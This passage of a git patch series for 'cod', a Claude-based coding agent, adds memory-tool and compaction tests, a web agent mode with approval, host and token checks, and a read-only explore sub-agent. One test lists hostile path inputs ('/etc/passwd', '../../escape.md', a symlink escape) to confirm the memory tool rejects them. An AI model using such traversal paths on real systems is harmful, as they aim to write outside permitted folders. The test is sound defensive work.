+ def test_commands(self): + self.assertIn("(empty)", self.memory(command="view", path="/memories").content) + self.assertFalse(self.memory(command="create", path="/memories/notes.md", file_text="one\nthree\n").is_error) + self.assertTrue((self.root / ".cod" / "memory" / "notes.md").is_file()) + self.assertFalse(self.memory(command="insert", path="/memories/notes.md", insert_line=1, insert_text="two").is_error) + self.assertFalse(self.memory(command="str_replace", path="/memories/notes.md", old_str="three", new_str="3").is_error) + view = self.memory(command="view", path="/memories/notes.md").content + self.assertEqual([line.split("\t")[1] for line in view.splitlines()], ["one", "two", "3"]) + self.assertIn("2\ttwo", self.memory(command="view", path="/memories/notes.md", view_range=[2, 2]).content) + self.assertFalse(self.memory(command="rename", old_path="/memories/notes.md", new_path="/memories/a/b.md").is_error) + self.assertIn("/memories/a/b.md", self.memory(command="view", path="/memories").content) + self.assertFalse(self.memory(command="delete", path="/memories/a").is_error) + self.assertIn("(empty)", self.memory(command="view", path="/memories").content) + + def test_errors_and_escapes(self): + outside = Path(tempfile.mkdtemp()) + (self.root / ".cod" / "memory").mkdir(parents=True) + (self.root / ".cod" / "memory" / "link").symlink_to(outside) + for tool_input in [ + {"command": "create", "path": "/etc/passwd", "file_text": "x"}, + {"command": "create", "path": "/memories/../../escape.md", "file_text": "x"}, + {"command": "create", "path": "/memories/link/x.md", "file_text": "x"}, + {"command": "delete", "path": "/memories"}, + {"command": "view", "path": "/memories/missing.md"}, + {"command": "str_replace", "path": "/memories/missing.md", "old_str": "a", "new_str": "b"}, + {"command": "explode", "path": "/memories"}, + {"command": "create", "path": "/memories/x.md"}, + ]: + with self.subTest(tool_input=tool_input): + self.assertTrue(self.toolbox.run("memory", tool_input).is_error) + self.assertEqual(list(outside.iterdir()), []) + self.assertFalse((self.root / "escape.md").exists()) + + def test_memory_is_allowed_by_default_but_rules_apply(self): + self.assertEqual(PermissionPolicy().decide("memory", "create /memories/a.md"), "allow") + policy = PermissionPolicy(deny=[Rule.parse("memory(delete *)")]) + self.assertEqual(policy.decide("memory", "delete /memories/a.md"), "deny") + self.assertEqual(self.toolbox.describe("memory", {"command": "rename", "old_path": "/memories/a", "new_path": "/memories/b"}), "rename /memories/a") class PermissionTests(TempProject): @@ -178,6 +273,8 @@ class SessionTests(TempProject): self.assertEqual(loaded.messages, session.messages) self.assertEqual(len(loaded.messages), 2) self.assertEqual(Session.find(self.root, session.id).messages, loaded.messages) + self.assertTrue(loaded.memory_tool) + self.assertFalse(Session.load(Session.create(self.root, "claude-opus-5-5", "s", memory_tool=False).path).memory_tool) def test_missing_and_corrupt_sessions(self): with self.assertRaises(SessionError): @@ -237,6 +334,10 @@ class EngineTests(TempProject): self.assertEqual(params["thinking"], {"type": "adaptive", "display": "summarized"}) self.assertEqual(params["cache_control"], {"type": "ephemeral"}) self.assertEqual(params["fallbacks"], "default") + self.assertEqual(params["betas"], [FALLBACK_BETA, COMPACT_BETA]) + self.assertEqual(params["context_management"], {"edits": [ + {"type": "compact_20260112", "trigger": {"type": "input_tokens", "value": 150_000}}, + ]}) self.assertEqual(params["tools"], api_tool_definitions()) self.assertNotIn("tool_choice", params) self.assertEqual(params["messages"], [{"role": "user", "content": "Hello"}]) @@ -357,10 +458,30 @@ class EngineTests(TempProject): self.assertEqual(events[-1].model, "claude-opus-5") self.assertEqual(self.session.messages[-1]["content"], content[1:]) + def test_compaction_blocks_are_kept_and_resent(self): + compaction = {"type": "compaction", "content": "Summary of earlier work.", "encrypted_content": None, "signature": "sig-c", "tool_changes": None} + client = FakeClient( + make_message([compaction, {"type": "text", "text": "Continuing."}]), + make_message([{"type": "text", "text": "Next."}]), + ) + agent = self.make_agent(client) + events = self.run_turn(agent) + self.assertTrue(any(isinstance(e, engine.CompactionNotice) for e in events)) + self.assertEqual(self.session.messages[-1]["content"][0], compaction) + self.run_turn(agent, "More") + self.assertEqual(client.calls[1]["messages"][1]["content"][0], compaction) + + def test_compaction_can_be_turned_off(self): + client = FakeClient(make_message([{"type": "text", "text": "ok"}])) + self.run_turn(self.make_agent(client, compact_at=None, fallbacks=False)) + self.assertNotIn("context_management", client.calls[0]) + self.assertNotIn("betas", client.calls[0]) + def test_haiku_has_no_fallbacks(self): client = FakeClient(make_message([{"type": "text", "text": "ok"}], model="claude-haiku-5-5")) self.run_turn(self.make_agent(client, model="claude-haiku-5-5", effort="low")) self.assertNotIn("fallbacks", client.calls[0]) + self.assertEqual(client.calls[0]["betas"], [COMPACT_BETA]) self.assertEqual(client.calls[0]["output_config"], {"effort": "low"}) def test_api_errors_end_the_turn(self): @@ -431,6 +552,17 @@ class CliTests(TempProject): )) self.assertTrue((self.root / "made.txt").exists()) + def test_no_memory_and_compaction_flags(self): + client = FakeClient(make_message([{"type": "text", "text": "ok"}])) + self.cod("-p", "x", "--no-memory", "--no-compact", client=client) + self.assertNotIn("memory", [t["name"] for t in client.calls[0]["tools"]]) + self.assertNotIn("context_management", client.calls[0]) + # A resumed session keeps the tool list it started with. + client = FakeClient(make_message([{"type": "text", "text": "ok"}])) + self.cod("-c", "-p", "y", "--compact-at", "90000", client=client) + self.assertNotIn("memory", [t["name"] for t in client.calls[0]["tools"]]) + self.assertEqual(client.calls[0]["context_management"]["edits"][0]["trigger"]["value"], 90_000) + def test_continue_resumes_the_latest_session(self): self.cod("-p", "first", client=FakeClient(make_message([{"type": "text", "text": "one"}]))) client = FakeClient(make_message([{"type": "text", "text": "two"}])) From e9fb8ffc516fc659618b5954f3883f3d74209341 Mon Sep 17 00:00:00 2001 From: Claude Date: Sun, 25 Oct 2026 17:13:49 +0000 Subject: [PATCH 6/7] Add agent mode to the web GUI and a read-only explore sub-agent - Web GUI: a Chat / Agent mode selector. Agent mode runs the coding agent on `cod serve --root`, shows tool calls as cards, and asks for approval in the browser; sessions live in .cod/sessions/ and resume after a restart. Closing the stream stops the turn. - The API now rejects requests whose Host isn't loopback (DNS rebinding) and POSTs without the per-process token embedded in the page. - `explore` tool: a sub-agent on an in-memory session with only read_file, glob and grep, returning a report; its usage counts toward the turn. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015NGPpYxuPWkyJUoefut3Wo --- AGENTS.md | 2 +- DESIGN.md | 16 +++ README.md | 23 +++- src/agent/engine.py | 66 +++++++++- src/agent/permissions.py | 5 +- src/agent/prompt.py | 10 ++ src/agent/session.py | 24 +++- src/agent/tools.py | 23 +++- src/agent/web.py | 258 +++++++++++++++++++++++++++++++++++++++ src/cli.py | 17 ++- src/web_server.py | 71 +++++++++-- tests/test_agent.py | 48 +++++++- tests/test_agent_web.py | 171 ++++++++++++++++++++++++++ tests/test_web_server.py | 22 +++- web/index.html | 246 +++++++++++++++++++++++++++++++++++-- 15 files changed, 960 insertions(+), 42 deletions(-) create mode 100644 src/agent/web.py create mode 100644 tests/test_agent_web.py diff --git a/AGENTS.md b/AGENTS.md index f31793e..835ce96 100755 --- a/AGENTS.md +++ b/AGENTS.md @@ -2,4 +2,4 @@ See `CLAUDE.md` for how to work on this repository; the same rules apply to any coding agent. -The agent itself lives in `src/agent/`. `engine.py` runs the loop and yields events; `terminal.py` renders them. A new front end (such as the web chat) should consume `Agent.send()` events rather than calling the API itself. +The agent itself lives in `src/agent/`. `engine.py` runs the loop and yields events; `terminal.py` and `web.py` are the two front ends that consume them. A new front end should consume `Agent.send()` events too, rather than calling the API itself. diff --git a/DESIGN.md b/DESIGN.md index a15eaf5..f2773b6 100644 --- a/DESIGN.md +++ b/DESIGN.md @@ -19,8 +19,24 @@ The request uses the same settings as the web chat (table below) plus `tools` (e | `pause_turn` | The history is sent back unchanged to resume. | | `refusal` | The turn's messages, starting with the user's prompt, are rolled back so the user can rephrase. | +`explore` is handled by the engine itself. It starts a second `Agent` on an in-memory session with its own system prompt, the read-only tools only, and a policy that denies everything else. Its last text message becomes the tool result. The parent's history holds only that report. + If the user interrupts while tools are running, the calls that finished keep their results and the rest get an "interrupted" error result, so the history stays valid. +## Web agent mode + +`src/agent/web.py` puts the same engine behind HTTP. The server owns the session; the page sends only prompts. + +| Route | Purpose | +| :--- | :--- | +| `POST /api/agent/sessions` | Start a session: `{model, effort, thinking_display, mode: "default" \| "accept-edits"}` | +| `POST /api/agent/sessions/{id}/turns` | Run a turn: `{prompt, effort}`, answered with an event stream (`start`, `block`, `delta`, `tool_call`, `approval`, `tool_output`, `fallback`, `compaction`, `done`, `error`) | +| `POST /api/agent/sessions/{id}/approvals/{approval_id}` | Answer an `approval` event: `{answer: "yes" \| "no" \| "always"}` | + +While a turn waits for approval, the engine awaits a future that the approval route resolves. Closing the event stream cancels the turn, and the engine records the unfinished tool calls as interrupted. Sessions survive a server restart: an unknown id is loaded from `.cod/sessions/`. + +All `/api/` requests must have a loopback `Host` header, and all POSTs must carry the per-process `X-Cod-Token` that the server writes into the page. + ## Web chat `cod serve` runs a local chat interface for the Claude Messages API. It has two parts: `src/web_server.py`, a FastAPI server, and `web/index.html`, a single page with no build step and no framework. diff --git a/README.md b/README.md index c04a2c3..22bc0bd 100755 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ A coding agent for the terminal, plus a local web chat, built on the Claude Messages API with the Anthropic Python SDK. -`cod` gives Claude tools in your project (read, write and edit files, glob, grep, a shell, and a memory folder), asks before it edits or runs anything, and saves every session so you can pick it up later. Long sessions are compacted by the API, so they can keep going past the context window. +`cod` gives Claude tools in your project (read, write and edit files, glob, grep, a shell, a memory folder, and a read-only explore sub-agent), asks before it edits or runs anything, and saves every session so you can pick it up later. Long sessions are compacted by the API, so they can keep going past the context window. ## Install @@ -40,6 +40,7 @@ cod --resume 20261025-164712-76741b | `--compact-at TOKENS` | Input size at which the API summarizes earlier context (default 150,000) | | `--no-compact` | Turn off server-side compaction | | `--no-memory` | Start a session without the memory tool | +| `--no-explore` | Start a session without the explore sub-agent | In the interactive session, `/help`, `/session`, `/usage` and `/exit` are available, and Ctrl-C stops the current turn. Token usage is printed after each turn. @@ -66,18 +67,27 @@ When [bubblewrap](https://github.com/containers/bubblewrap) is installed (`apt i Claude can keep notes for a project in `.cod/memory/` with the memory tool, and checks them at the start of a task. Memory writes don't ask for approval because they can't leave that folder; a rule such as `"deny": ["memory(delete *)"]` restricts them. +### Explore sub-agent + +For broad searches, Claude can hand a question to `explore`: a sub-agent with its own context that can only read, glob and grep. It returns a short report with file:line references, so the files it read don't fill the main conversation. Its token usage is counted in the turn's total. + ### Sessions Each session is an append-only JSONL file in `.cod/sessions/` holding the model, the system prompt and every message as sent. A refused turn is dropped from the history so you can rephrase. Add `.cod/sessions/` to your project's `.gitignore`. -## Web chat +## Web GUI ```bash -cod serve # http://127.0.0.1:8642 -cod serve --port 9000 +cod serve # http://127.0.0.1:8642, agent mode works in the current directory +cod serve --root ~/src/app --port 9000 ``` -A plain chat with streaming, thinking summaries, model and effort selectors and per-reply token usage. It has no tools. The API key stays on the server and the page has no authentication, so `cod serve` binds only loopback addresses unless you pass `--allow-remote`. `COD_PROJECT_CONTEXT=0` leaves this repository's `CLAUDE.md` and `AGENTS.md` out of its system prompt, and `COD_FALLBACKS=0` turns off the refusal fallback. See [DESIGN.md](DESIGN.md) for how requests are built. +The mode selector picks one of two modes for a new conversation: + +- **Chat**: a plain chat with streaming, thinking summaries, model and effort selectors and per-reply token usage. It has no tools, and the history lives in the browser. +- **Agent**: the terminal agent on `--root`, with the same tools, permission rules and sessions (`.cod/sessions/`). Tool calls appear as cards, and calls that need approval show Allow, Always allow and Deny buttons. "Agent, accept edits" applies file edits without asking. Stopping a turn stops the agent. + +The API key stays on the server. Every API request must be addressed to a loopback host, which blocks DNS rebinding, and every POST must carry a token that is embedded in the page and changes each time the server starts. `cod serve` binds only loopback addresses unless you pass `--allow-remote`, which turns the host check off: then anyone who can load the page can spend your credits and, in agent mode, work in your files. `COD_PROJECT_CONTEXT=0` leaves this repository's `CLAUDE.md` and `AGENTS.md` out of its system prompt, and `COD_FALLBACKS=0` turns off the refusal fallback. See [DESIGN.md](DESIGN.md) for how requests are built. ## Development @@ -90,8 +100,9 @@ The tests use a fake Anthropic client and never call the API. ```text src/ ├── cli.py # `cod` and `cod serve` -├── web_server.py # FastAPI server for the web chat +├── web_server.py # FastAPI server for the web GUI ├── agent/ +│ ├── web.py # agent mode over HTTP, with approvals from the browser │ ├── engine.py # the tool-use loop │ ├── tools.py # file, search and shell tools, bubblewrap sandbox │ ├── memory_tool.py # the memory tool, stored in .cod/memory/ diff --git a/src/agent/engine.py b/src/agent/engine.py index 2d74a58..46f380a 100644 --- a/src/agent/engine.py +++ b/src/agent/engine.py @@ -27,12 +27,15 @@ from src.agent.models import ( history_content, merge_params, ) -from src.agent.permissions import EDIT_TOOLS, PermissionPolicy, Rule +from src.agent.permissions import EDIT_TOOLS, READ_ONLY_TOOLS, PermissionPolicy, Rule +from src.agent.prompt import build_explore_prompt from src.agent.session import Session -from src.agent.tools import Toolbox, ToolResult, api_tool_definitions +from src.agent.tools import TOOL_NAMES, Toolbox, ToolResult, api_tool_definitions MAX_OUTPUT_TOKENS = 64_000 MAX_TOOL_ROUNDS = 50 +EXPLORE_TOOL_ROUNDS = 25 +MAX_EXPLORE_TASK_CHARS = 20_000 DENIED_MESSAGE = "The user denied this tool call. Don't retry it unchanged; ask them how to proceed if you need it." BLOCKED_MESSAGE = "This tool call is blocked by the project's permission settings." @@ -158,6 +161,7 @@ class Agent: policy: PermissionPolicy, approver: Approver, config: AgentConfig | None = None, + read_only: bool = False, ) -> None: self.client = client self.session = session @@ -169,7 +173,11 @@ class Agent: raise ValueError(f"unsupported model {self.config.model!r}") if session.memory_tool and toolbox.memory is None: raise ValueError("this session uses the memory tool, but the toolbox has no memory store") - self.tools = api_tool_definitions(memory=session.memory_tool) + self.tools = api_tool_definitions(memory=session.memory_tool, explore=session.explore_tool) + if read_only: + self.tools = [t for t in self.tools if t["name"] in READ_ONLY_TOOLS] + # The current turn's usage; explore sub-agents add theirs to it. + self._turn_usage = Usage() # Results of the tool round in progress, kept so an interrupt can record them. self._pending_results: list[dict[str, Any]] | None = None @@ -192,7 +200,7 @@ class Agent: """Runs one user turn and yields its events, ending with `TurnEnd` or `ApiError`.""" turn_start = len(self.session.messages) self.session.append({"role": "user", "content": prompt}) - usage = Usage() + usage = self._turn_usage = Usage() model = self.config.model rounds = 0 try: @@ -301,9 +309,43 @@ class Agent: if answer == "always": # Edits are allowed tool-wide; shell commands only for this exact command. self.policy.allow_for_session(Rule(name) if name in EDIT_TOOLS else Rule(name, summary)) - result: ToolResult = await asyncio.to_thread(self.toolbox.run, name, tool_input) + if name == "explore" and self.session.explore_tool: + result = await self._explore(tool_input) + else: + result = await asyncio.to_thread(self.toolbox.run, name, tool_input) return ToolOutput(block["id"], name, result.content, result.is_error) + async def _explore(self, tool_input: dict[str, Any]) -> ToolResult: + """Runs a read-only sub-agent on the task and returns its final report.""" + task = tool_input.get("task") + if set(tool_input) != {"task"} or not isinstance(task, str) or not task.strip(): + return ToolResult("Invalid input for explore: expected {\"task\": \"\"}.", is_error=True) + if len(task) > MAX_EXPLORE_TASK_CHARS: + return ToolResult(f"The explore task is too long ({len(task)} characters).", is_error=True) + # Everything but the read-only tools is denied outright, whatever the model asks for. + policy = PermissionPolicy(deny=[Rule(n) for n in TOOL_NAMES if n not in READ_ONLY_TOOLS]) + session = Session.ephemeral(self.config.model, build_explore_prompt(self.toolbox.root)) + config = AgentConfig( + model=self.config.model, effort=self.config.effort, thinking_display="omitted", + fallbacks=self.config.fallbacks, max_tool_rounds=EXPLORE_TOOL_ROUNDS, compact_at=self.config.compact_at, + ) + sub = Agent(self.client, session, self.toolbox, policy, _deny, config, read_only=True) + end: TurnEnd | ApiError | None = None + async for event in sub.send(task): + if isinstance(event, (TurnEnd, ApiError)): + end = event + if isinstance(end, TurnEnd): + for key, value in end.usage.items(): + self._turn_usage.totals[key] = self._turn_usage.totals.get(key, 0) + value + if isinstance(end, ApiError) or end is None: + return ToolResult(f"The explorer failed: {end.message if end else 'no response'}", is_error=True) + if end.stop_reason == "refusal": + return ToolResult("The explorer declined this task.", is_error=True) + report = _last_text(session.messages) + if end.stop_reason == "tool_rounds": + report = (report + "\n\n" if report else "") + "(The explorer stopped at its tool-round limit before finishing.)" + return ToolResult(report or "The explorer finished without a report.", is_error=not report) + def _close_open_tool_calls(self) -> None: """After an interrupt, answers any tool calls left without results so the history stays valid.""" if not self.session.messages or self.session.messages[-1]["role"] != "assistant": @@ -318,3 +360,17 @@ class Agent: {"type": "tool_result", "tool_use_id": tool_id, "content": INTERRUPTED_MESSAGE, "is_error": True} for tool_id in pending ]}) + + +async def _deny(name: str, summary: str, tool_input: dict[str, Any]) -> Approval: + return "no" + + +def _last_text(messages: list[dict[str, Any]]) -> str: + """The text of the last assistant message that has any.""" + for message in reversed(messages): + if message["role"] == "assistant" and isinstance(message["content"], list): + text = "".join(b.get("text", "") for b in message["content"] if b.get("type") == "text").strip() + if text: + return text + return "" diff --git a/src/agent/permissions.py b/src/agent/permissions.py index 5bcb8d7..bc4f359 100644 --- a/src/agent/permissions.py +++ b/src/agent/permissions.py @@ -27,8 +27,9 @@ Decision = Literal["allow", "ask", "deny"] Mode = Literal["default", "accept-edits", "allow-all"] EDIT_TOOLS = frozenset({"write_file", "edit_file"}) -# The memory tool only touches `.cod/memory/`, so it runs without asking. -AUTO_ALLOWED = READ_ONLY_TOOLS | {"memory"} +# The memory tool only touches `.cod/memory/` and the explore sub-agent only +# reads, so both run without asking. +AUTO_ALLOWED = READ_ONLY_TOOLS | {"memory", "explore"} RULE_PATTERN = re.compile(r"^(?P[a-z_]+)(?:\((?P.*)\))?$") diff --git a/src/agent/prompt.py b/src/agent/prompt.py index 8130f9a..8ed230a 100644 --- a/src/agent/prompt.py +++ b/src/agent/prompt.py @@ -22,6 +22,16 @@ Shell commands run without secrets in their environment and without a terminal, Answer in GitHub-flavored Markdown. When you finish, say briefly what you changed and anything left undone.""" +EXPLORE_PROMPT = """You are a read-only code explorer working for another agent, which gave you the task in the user message. You can read files, glob and grep in the project; you cannot edit files or run commands. + +Search efficiently: start broad with glob and grep, then read only the parts that matter. When you are done, reply with a report the other agent can act on without re-reading everything: what you found, with file:line references, and anything you couldn't determine. Keep it concise. Your final message is the only thing the other agent sees.""" + + +def build_explore_prompt(root: str | Path) -> str: + root = Path(root).resolve() + return f"{EXPLORE_PROMPT}\n\n\nProject root: {root}\n" + + def project_files_block(root: str | Path, names: tuple[str, ...] = PROJECT_FILES) -> list[str]: """Each project instruction file in `root`, wrapped in a `project_file` tag.""" blocks = [] diff --git a/src/agent/session.py b/src/agent/session.py index 19eca3b..9ce2921 100644 --- a/src/agent/session.py +++ b/src/agent/session.py @@ -24,7 +24,7 @@ class SessionError(RuntimeError): @dataclass class Session: - path: Path + path: Path | None id: str model: str system_prompt: str @@ -33,17 +33,23 @@ class Session: # Whether the session's tool list includes the memory tool. Fixed at creation # so the tool list, like the system prompt, is the same on every request. memory_tool: bool = True + explore_tool: bool = False @classmethod - def create(cls, root: str | Path, model: str, system_prompt: str, memory_tool: bool = True) -> "Session": + def create( + cls, root: str | Path, model: str, system_prompt: str, memory_tool: bool = True, explore_tool: bool = True + ) -> "Session": directory = Path(root) / SESSIONS_DIR directory.mkdir(parents=True, exist_ok=True) created = datetime.now(timezone.utc) session_id = created.strftime("%Y%m%d-%H%M%S-") + secrets.token_hex(3) - session = cls(directory / f"{session_id}.jsonl", session_id, model, system_prompt, created.isoformat(), memory_tool=memory_tool) + session = cls( + directory / f"{session_id}.jsonl", session_id, model, system_prompt, created.isoformat(), + memory_tool=memory_tool, explore_tool=explore_tool, + ) header = { "type": "session", "id": session_id, "model": model, "system_prompt": system_prompt, - "created_at": session.created_at, "memory_tool": memory_tool, + "created_at": session.created_at, "memory_tool": memory_tool, "explore_tool": explore_tool, } session.path.write_text(json.dumps(header, ensure_ascii=False) + "\n", encoding="utf-8") return session @@ -75,6 +81,7 @@ class Session: return cls( path, header["id"], header["model"], header["system_prompt"], header["created_at"], messages, memory_tool=bool(header.get("memory_tool", False)), + explore_tool=bool(header.get("explore_tool", False)), ) @classmethod @@ -88,8 +95,15 @@ class Session: raise SessionError(f"no sessions in {directory}") return cls.load(candidates[-1]) + @classmethod + def ephemeral(cls, model: str, system_prompt: str) -> "Session": + """A session kept in memory only, for sub-agents.""" + return cls(None, "ephemeral", model, system_prompt, datetime.now(timezone.utc).isoformat(), memory_tool=False) + def append(self, message: dict[str, Any]) -> None: self.messages.append(message) + if self.path is None: + return with self.path.open("a", encoding="utf-8") as handle: handle.write(json.dumps({"type": "message", "message": message}, ensure_ascii=False) + "\n") @@ -100,5 +114,7 @@ class Session: if count > len(self.messages): raise SessionError(f"cannot roll back {count} messages; the session has {len(self.messages)}") del self.messages[len(self.messages) - count:] + if self.path is None: + return with self.path.open("a", encoding="utf-8") as handle: handle.write(json.dumps({"type": "rollback", "count": count}) + "\n") diff --git a/src/agent/tools.py b/src/agent/tools.py index d4dbddf..5fa5a1f 100644 --- a/src/agent/tools.py +++ b/src/agent/tools.py @@ -152,20 +152,35 @@ TOOL_DEFINITIONS: list[dict[str, Any]] = [ }, ] -TOOL_NAMES = tuple(t["name"] for t in TOOL_DEFINITIONS) + ("memory",) +# Run by the engine rather than the toolbox: it starts a read-only sub-agent. +EXPLORE_TOOL: dict[str, Any] = { + "name": "explore", + "description": ( + "Hand a read-only investigation of the codebase to a sub-agent with its own context. It can read " + "files, glob and grep, but not edit files or run commands, and it returns a written report with " + "file:line references. Use it for broad searches across many files, so their contents don't fill " + "this conversation. Say exactly what to find out and what the report should contain." + ), + "input_schema": _schema({ + "task": {"type": "string", "description": "What to investigate and what to report back."}, + }, ["task"]), +} + +TOOL_NAMES = tuple(t["name"] for t in TOOL_DEFINITIONS) + ("explore", "memory") READ_ONLY_TOOLS = frozenset({"read_file", "glob", "grep"}) PROTECTED_DIR = ".cod" SandboxMode = Literal["auto", "on", "off"] -def api_tool_definitions(eager_input_streaming: bool = True, memory: bool = True) -> list[dict[str, Any]]: +def api_tool_definitions(eager_input_streaming: bool = True, memory: bool = True, explore: bool = False) -> list[dict[str, Any]]: """ Tool definitions for a streaming request; eager streaming sends large inputs as they are generated. The memory tool's schema is defined by the API, so it is sent by type only. """ - tools = [{**t, "eager_input_streaming": True} if eager_input_streaming else dict(t) for t in TOOL_DEFINITIONS] + client_tools = TOOL_DEFINITIONS + ([EXPLORE_TOOL] if explore else []) + tools = [{**t, "eager_input_streaming": True} if eager_input_streaming else dict(t) for t in client_tools] if memory: tools.append(dict(MEMORY_TOOL)) return tools @@ -238,6 +253,8 @@ class Toolbox: return str(tool_input.get("pattern", "")) if name == "memory": return describe_memory(tool_input) + if name == "explore": + return str(tool_input.get("task", "")) return str(tool_input.get("path", "")) # ---------- dispatch ---------- diff --git a/src/agent/web.py b/src/agent/web.py new file mode 100644 index 0000000..8c96da6 --- /dev/null +++ b/src/agent/web.py @@ -0,0 +1,258 @@ +""" +The agent over HTTP (`src/agent/web.py`), used by the web GUI's agent mode. + +The server owns the session: the browser sends only the new prompt, and the +conversation lives in `.cod/sessions/` exactly as in the terminal. A turn is a +server-sent event stream. When a tool call needs approval the stream sends an +`approval` event and the turn waits until the browser posts the answer to +`/api/agent/sessions/{id}/approvals/{approval_id}`. Closing the stream stops +the turn. + +Every route here acts on the user's files, so the web server requires its +per-process token on each request (see `src/web_server.py`). +""" +import asyncio +from dataclasses import dataclass, field +import json +from pathlib import Path +import re +import secrets +from typing import Any, AsyncIterator, Literal + +import anthropic +from fastapi import APIRouter, Depends, HTTPException +from fastapi.responses import StreamingResponse +from pydantic import BaseModel, Field + +from src.agent.engine import ( + Agent, + AgentConfig, + ApiError, + Approval, + BlockStart, + CompactionNotice, + FallbackNotice, + TextDelta, + ThinkingDelta, + ToolCall, + ToolOutput, + TurnEnd, +) +from src.agent.models import DEFAULT_MODEL, MODELS +from src.agent.permissions import InvalidRuleError, PermissionPolicy +from src.agent.prompt import build_agent_prompt +from src.agent.session import Session, SessionError +from src.agent.tools import ToolError, Toolbox + +MAX_PROMPT_CHARS = 1_000_000 +# Tool output shown in the browser; the model still gets the full result. +MAX_OUTPUT_PREVIEW = 4_000 +SESSION_ID = re.compile(r"^[0-9]{8}-[0-9]{6}-[0-9a-f]{6}$") + + +@dataclass +class AgentSettings: + root: Path + sandbox: Literal["auto", "on", "off"] = "auto" + + +@dataclass +class LiveSession: + agent: Agent | None = None + busy: bool = False + # Events for the turn in progress; the approver adds `approval` events here too. + queue: asyncio.Queue | None = None + approvals: dict[str, asyncio.Future] = field(default_factory=dict) + + +class CreateSession(BaseModel, extra="forbid"): + model: str = DEFAULT_MODEL + effort: Literal["low", "medium", "high", "xhigh", "max"] | None = None + thinking_display: Literal["summarized", "omitted"] = "summarized" + mode: Literal["default", "accept-edits"] = "default" + + +class TurnRequest(BaseModel, extra="forbid"): + prompt: str = Field(min_length=1, max_length=MAX_PROMPT_CHARS) + effort: Literal["low", "medium", "high", "xhigh", "max"] | None = None + + +class ApprovalAnswer(BaseModel, extra="forbid"): + answer: Literal["yes", "no", "always"] + + +def _sse(event: str, data: dict[str, Any]) -> str: + return f"event: {event}\ndata: {json.dumps(data, ensure_ascii=False)}\n\n" + + +def event_payload(event: Any) -> tuple[str, dict[str, Any]] | None: + """Maps an engine event to an SSE event name and data.""" + if isinstance(event, BlockStart): + return "block", {"kind": event.kind} + if isinstance(event, TextDelta): + return "delta", {"kind": "text", "text": event.text} + if isinstance(event, ThinkingDelta): + return "delta", {"kind": "thinking", "text": event.text} + if isinstance(event, ToolCall): + return "tool_call", {"id": event.id, "name": event.name, "summary": event.summary} + if isinstance(event, ToolOutput): + content = event.content + if len(content) > MAX_OUTPUT_PREVIEW: + content = content[:MAX_OUTPUT_PREVIEW] + f"\n… {len(event.content) - MAX_OUTPUT_PREVIEW} more characters" + return "tool_output", {"id": event.id, "content": content, "is_error": event.is_error, "outcome": event.outcome} + if isinstance(event, FallbackNotice): + return "fallback", {"from": event.from_model, "to": event.to_model} + if isinstance(event, CompactionNotice): + return "compaction", {} + if isinstance(event, TurnEnd): + return "done", { + "stop_reason": event.stop_reason, "usage": event.usage, "model": event.model, + "refusal_category": event.refusal_category, + } + if isinstance(event, ApiError): + return "error", {"status": event.status, "message": event.message} + return None + + +def approval_details(name: str, tool_input: dict[str, Any]) -> dict[str, Any]: + """What the approval card shows besides the summary.""" + if name == "edit_file": + return {"old": str(tool_input.get("old_string", ""))[:2000], "new": str(tool_input.get("new_string", ""))[:2000]} + if name == "write_file": + content = str(tool_input.get("content", "")) + return {"lines": len(content.splitlines()), "preview": content[:2000]} + return {} + + +class AgentService: + """Holds the sessions this server process has open.""" + + def __init__(self, settings: AgentSettings) -> None: + self.settings = settings + self.live: dict[str, LiveSession] = {} + + def _make(self, session: Session, config: AgentConfig, mode: str) -> LiveSession: + root = self.settings.root + try: + policy = PermissionPolicy.from_settings(root, mode) # type: ignore[arg-type] + toolbox = Toolbox(root, sandbox=self.settings.sandbox, memory=session.memory_tool) + except (InvalidRuleError, ToolError) as exc: + raise HTTPException(500, str(exc)) + live = LiveSession() + live.agent = Agent(self.client(), session, toolbox, policy, self._approver(live), config) + self.live[session.id] = live + return live + + def client(self) -> anthropic.AsyncAnthropic: + from src import web_server + + return web_server.get_client() + + def create(self, body: CreateSession) -> LiveSession: + if body.model not in MODELS: + raise HTTPException(422, f"unsupported model {body.model!r}") + session = Session.create(self.settings.root, body.model, build_agent_prompt(self.settings.root)) + config = AgentConfig(model=body.model, effort=body.effort, thinking_display=body.thinking_display) + return self._make(session, config, body.mode) + + def get(self, session_id: str) -> LiveSession: + if session_id in self.live: + return self.live[session_id] + if not SESSION_ID.match(session_id): + raise HTTPException(404, "no such session") + try: + session = Session.find(self.settings.root, session_id) + except SessionError: + raise HTTPException(404, "no such session") + # A session from before a restart: resumed with default settings. + return self._make(session, AgentConfig(model=session.model), "default") + + def _approver(self, live: LiveSession): + async def approve(name: str, summary: str, tool_input: dict[str, Any]) -> Approval: + approval_id = secrets.token_hex(8) + future: asyncio.Future = asyncio.get_running_loop().create_future() + live.approvals[approval_id] = future + await live.queue.put(("approval", { + "id": approval_id, "name": name, "summary": summary, "details": approval_details(name, tool_input), + })) + try: + return await future + finally: + live.approvals.pop(approval_id, None) + + return approve + + async def run_turn(self, live: LiveSession, prompt: str) -> AsyncIterator[str]: + live.queue = asyncio.Queue() + + async def produce() -> None: + try: + async for event in live.agent.send(prompt): + payload = event_payload(event) + if payload: + await live.queue.put(payload) + except Exception as exc: + await live.queue.put(("error", {"status": None, "message": f"{type(exc).__name__}: {exc}"})) + finally: + await live.queue.put(None) + + task = asyncio.create_task(produce()) + try: + yield _sse("start", {"session_id": live.agent.session.id, "model": live.agent.config.model}) + while True: + item = await live.queue.get() + if item is None: + break + yield _sse(*item) + finally: + # The browser closed the stream: stop the turn and any approval it waits on. + if not task.done(): + task.cancel() + try: + await task + except asyncio.CancelledError: + pass + for future in live.approvals.values(): + future.cancel() + live.busy = False + + +def build_router(get_service) -> APIRouter: + router = APIRouter(prefix="/api/agent") + + @router.post("/sessions") + def create_session(body: CreateSession, service: AgentService = Depends(get_service)) -> dict[str, Any]: + live = service.create(body) + return {"id": live.agent.session.id, "model": live.agent.config.model, "root": str(service.settings.root)} + + @router.post("/sessions/{session_id}/turns") + def start_turn(session_id: str, body: TurnRequest, service: AgentService = Depends(get_service)) -> StreamingResponse: + live = service.get(session_id) + if live.busy: + raise HTTPException(409, "this session is already running a turn") + live.busy = True + if body.effort: + live.agent.config.effort = body.effort + return StreamingResponse( + service.run_turn(live, body.prompt), + media_type="text/event-stream", + headers={"Cache-Control": "no-cache", "X-Accel-Buffering": "no"}, + ) + + 